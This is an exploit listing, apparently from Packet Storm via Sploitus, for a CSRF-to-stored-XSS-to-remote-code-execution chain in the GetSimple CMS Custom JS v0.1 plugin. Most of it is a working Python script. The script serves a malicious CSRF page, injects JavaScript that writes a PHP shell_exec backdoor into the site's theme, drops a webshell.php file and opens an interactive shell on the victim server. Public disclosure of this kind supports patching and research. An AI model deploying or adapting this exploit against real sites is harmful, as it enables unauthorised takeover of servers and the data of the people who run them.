Exploit for GetSimple CMS Custom JS 0.1 CSRF / XSS / Code Execution

Name: Exploit for GetSimple CMS Custom JS 0.1 CSRF / XSS / Code Execution
Rating: 5 (184 reviews)
2021-05-02 | CVSS 0.3
## https://sploitus.com/exploit?id=PACKETSTORM:162425
# Exploit Title: GetSimple CMS Custom JS v0.1 - CSRF to XSS to RCE  
# Exploit Author: Bobby Cooke (boku) & Abhishek Joshi  
# Date: April 30th, 2021  
# Vendor Homepage: http://get-simple.info   
# Software Link: http://get-simple.info/download/ & http://get-simple.info/extend/plugin/custom-js/1267/  
# Vendor: 4Enzo  
# Version: v0.1  
# Tested against Server Host: Windows 10 Pro + XAMPP  
# Tested against Client Browsers: Firefox (Linux & Windows) & Internet Explorer  
# Vulnerability Description:  
# The Custom JS v0.1 plugin for GetSimple CMS suffers from a Cross-Site Request Forgery (CSRF) attack that allows remote unauthenticated attackers to inject arbitrary client-side code into authenticated administrators browsers, which results in Remote Code Execution (RCE) on the hosting server, when an authenticated administrator visits a malicious third party website.  
# Full Disclosure & MITRE CVE Tracking: github.com/boku7/gsCMS-CustomJS-Csrf2Xss2Rce  
# CVSS v3.1 Vector: AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H  
# CVSS Base Score: 9.6  
  
import argparse,requests  
from http.server import BaseHTTPRequestHandler, HTTPServer  
from colorama import (Fore as F, Back as B, Style as S)  
from threading import Thread  
from time import sleep  
  
FT,FR,FG,FY,FB,FM,FC,ST,SD,SB = F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT  
def bullet(char,color):  
C=FB if color == 'B' else FR if color == 'R' else FG  
return SB+C+'['+ST+SB+char+SB+C+']'+ST+' '  
info,err,ok = bullet('-','B'),bullet('-','R'),bullet('!','G')  
  
class theTHREADER(object):  
def __init__(self, interval=1):  
self.interval = interval  
thread = Thread(target=self.run, args=())  
thread.daemon = True  
thread.start()  
def run(self):  
run()  
  
def webshell(target):  
try:  
websh = "{}/webshell.php".format(target,page)  
term = "{}{}PWNSHELL{} > {}".format(SB,FR,FB,ST)  
welcome = ' {}{}]{}+++{}[{}========>{} HelloFriend {}<========{}]{}+++{}[{}'.format(SB,FY,FR,FY,FT,FR,FT,FY,FR,FY,ST)  
print(welcome)  
while True:  
specialmove = input(term)  
command = {'FierceGodKick': specialmove}  
r = requests.post(websh, data=command, verify=False)  
status = r.status_code  
if status != 200:  
r.raise_for_status()  
response = r.text  
print(response)  
except:  
pass  
  
  
def xhrRcePayload():  
payload = 'var e=function(i){return encodeURIComponent(i);};'  
payload += 'var gt = decodeURIComponent("%3c");'  
payload += 'var lt = decodeURIComponent("%3e");'  
payload += 'var h="application/x-www-form-urlencoded";'  
payload += 'var u="/admin/theme-edit.php";'  
payload += 'var xhr1=new XMLHttpRequest();'  
payload += 'var xhr2=new XMLHttpRequest();'  
payload += 'xhr1.onreadystatechange=function(){'  
payload += 'if(xhr1.readyState==4 && xhr1.status==200){'  
payload += 'r=this.responseXML;'  
payload += 'nVal=r.querySelector("#nonce").value;'  
payload += 'eVal=r.forms[1][2].defaultValue;'  
payload += 'xhr2.open("POST",u,true);'  
payload += 'xhr2.setRequestHeader("Content-Type",h);'  
payload += 'payload=e(gt+"?php echo shell_exec($_REQUEST[solarflare]) ?"+lt);'  
payload += 'params="nonce="+nVal+"&content="+payload+"&edited_file="+eVal+"&submitsave=Save+Changes";'  
payload += 'xhr2.send(params);'  
payload += '}};'  
payload += 'xhr1.open("GET",u,true);'  
payload += 'xhr1.responseType="document";'  
payload += 'xhr1.send();'  
return payload  
  
def csrfPayload():  
payload = '<html><body>'  
payload += '<form action="'+target+'/admin/load.php?id=CustomJSPlugin" method="POST">'  
payload += '<input type="hidden" name="customjs_url_content" value="">'  
payload += '<input type="hidden" name="customjs_js_content" value="'+xhrRcePayload()+'">'  
payload += '<input type="hidden" name="submit" value="Save Settings">'  
payload += '<input type="submit" value="Submit request">'  
payload += '</form></body></html>'  
return payload  
  
class S(BaseHTTPRequestHandler):  
def do_GET(self):  
victim = self.client_address  
victim = "{}:{}".format(victim[0],victim[1])  
print("{}{} connected to Malicious CSRF Site!".format(ok,victim))  
print('{}Waiting for admin to view a CMS webpage & trigger the XSS XHR -> RCE payload..'.format(info))  
self.wfile.write("{}".format(csrfPayload()).encode('utf-8'))  
  
def run(server_class=HTTPServer, handler_class=S, port=80):  
server_address = ('', port)  
httpd = server_class(server_address, handler_class)  
print('{}Hosting CSRF attack & listening for admin to connect..'.format(info))  
try:  
httpd.serve_forever()  
except KeyboardInterrupt:  
pass  
httpd.server_close()  
print('Stopping httpd...')  
  
def tryUploadWebshell(target,page):  
try:  
blind = target+page  
# The ^ symbols are required to escape the <> symbols to create the non-blind webshell (^ is an escape for window cmd prompt)  
webshUpload = {'solarflare': "echo ^<?php echo shell_exec($_REQUEST['FierceGodKick']) ?^>>webshell.php"}  
requests.post(url=blind, data=webshUpload, verify=False)  
except:  
pass  
  
def checkWebshell(target):  
try:  
websh = "{}/webshell.php".format(target)  
capsule = {'FierceGodKick':'pwnt?'}  
resp = requests.post(url=websh, data=capsule, verify=False)  
return resp.status_code  
except:  
pass  
  
def sig():  
SIG = SB+FY+" .-----.._ ,--. "+FB+" ___ "+FY+" ___ _____ _____ _ _ _____ \n"  
SIG += FY+" | .. > ___ | | .--. "+FB+" / \\ "+FY+" |_ | _ / ___| | | |_ _| \n"  
SIG += FY+" | |.' ,'-'"+FR+"* *"+FY+"'-. |/ /__ __ "+FB+" \\ O / "+FY+" | | | | \\ `--.| |_| | | | \n"  
SIG += FY+" | </ "+FR+"* * *"+FY+" \ / \\/ \\ "+FB+" / _ \\/\\ "+FY+" | | | | |`--. \\ _ | | | \n"  
SIG += FY+" | |> ) "+FR+" * *"+FY+" / \\ \\"+FB+" ( (_> < "+FY+"/\\__/ | \\_/ /\\__/ / | | |_| |_ \n"  
SIG += FY+" |____..- '-.._..-'_|\\___|._..\\___\\ "+FB+"\\___/\\/"+FY+" \\____/ \\___/\\____/\\_| |_/\\___/\n"  
SIG += FY+" __"+FR+"linkedin.com/in/bobby-cooke/"+FY+"_____ "+" __"+FR+"linkedin.com/in/reverse-shell/"+FY+"\n"+ST  
return SIG  
  
def argsetup():  
about = SB+FB+' The Custom JS v0.1 plugin for GetSimple CMS suffers from a Cross-Site Request Forgery (CSRF) attack that allows remote unauthenticated attackers to inject arbitrary client-side code into authenticated administrators browsers, which results in Remote Code Execution (RCE) on the hosting server, when an authenticated administrator visits a malicious third party website.\n'+ST  
about += SB+FC+' CVSS Base Score'+FT+':'+FR+' 9.6 '+FT+'|'+FC+' CVSS v3.1 Vector'+FT+':'+FR+' AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H'+FC  
parser = argparse.ArgumentParser(description=about, formatter_class=argparse.RawTextHelpFormatter)  
desc1 = ST+FC+'Routable domain name of the target GetSimple CMS instance'+SB  
parser.add_argument('Target',type=str,help=desc1)  
desc2 = ST+FC+'Path to the public page which implements the CMS theme'+ST  
parser.add_argument('PublicPage',type=str,help=desc2)  
args = parser.parse_args()  
return args  
  
if __name__ == '__main__':  
header = SB+FR+' GetSimple CMS - Custom JS Plugin Exploit\n'  
header += SB+FB+' CSRF '+FT+'->'+FB+' Stored XSS '+FT+'->'+FB+' XHR PHP Code Injection '+FT+'->'+FB+' RCE\n'+ST  
header += SB+FT+' '+FR+' Bobby '+FR+'"'+FR+'boku'+FR+'"'+FR+' Cooke & Abhishek Joshi\n'+ST  
print(header)  
args = argsetup()  
target = args.Target  
page = args.PublicPage  
print(sig())  
theTHREADER()  
pwnt = checkWebshell(target)  
if pwnt != 200:  
while pwnt != 200:  
sleep(3)  
tryUploadWebshell(target,page)  
sleep(2)  
pwnt = checkWebshell(target)  
print("{} A wild webshell appears!".format(ok))  
webshell(target)